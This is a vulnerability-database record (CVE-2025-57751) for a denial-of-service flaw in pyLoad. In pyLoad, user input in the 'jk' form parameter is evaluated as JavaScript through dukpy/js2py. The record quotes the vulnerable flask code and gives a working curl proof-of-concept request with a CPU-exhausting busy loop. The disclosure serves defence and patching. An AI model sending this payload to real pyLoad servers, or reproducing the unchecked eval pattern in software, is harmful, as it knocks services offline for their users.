{"id":"CVE-2025-57751","aliases":["PYSEC-2026-1815"],"url":"https://o3.security/vulnerability/CVE-2025-57751","summary":"Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs","details":"Dear Maintainers,\nI am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.\n\n### Summary\nThe `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.\n\n### Details\n- Endpoint: flash/addcrypted2\n- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123\nhttps://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42\t\n\naffected code\n```python\n@bp.route(\"/flash/addcrypted2\", methods=[\"POST\"], endpoint=\"addcrypted2\")\n@local_check\ndef addcrypted2():\n    package = flask.request.form.get(\n        \"package\", flask.request.form.get(\"source\", flask.request.form.get(\"referer\"))\n    )\n    crypted = flask.request.form[\"crypted\"]\n    jk = flask.request.form[\"jk\"]\n    pack_password = flask.request.form.get(\"passwords\")\n\n    crypted = standard_b64decode(unquote(crypted.replace(\" \", \"+\")))\n    jk = eval_js(f\"{jk} f()\")\n\n```\n\n```python\ndef eval_js(script, es6=False):\n    if sys.version_info < (3, 12):\n        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)\n    else:\n        return dukpy.evaljs(script)\n```\n\n### PoC\ndownload pyload and run locally, send the following request\n- PoC\n```shell\ncurl -X POST \"http://localhost:8000/flash/addcrypted2\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"crypted=SGVsbG8gd29ybGQ=\" \\\n  -d \"passwords=pyload\" \\\n  -d \"jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //\"\n```\nThe 30_000 can be modified to any large value.\n\n\n### Impact\nSystem resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.\n\nUse the following command to check CPU usage\n```shell\ntop -pid $(pgrep -f \"pyload.__main__\") \n```\nor\n```shell\ntop -pid $(pgrep -f \"pyload\") \n```\n\nThe CPU is fully occupied\n<img width=\"1209\" height=\"134\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e\" />\n\nweb-ui unresponsive\n<img width=\"1209\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd\" />","published":"2025-08-21T20:11:52Z","modified":"2026-07-07T17:57:26.488115427Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"pyload-ng","fixedVersion":"0.5.0b3.dev92"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57751"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-07T17:57:26.488115427Z"}}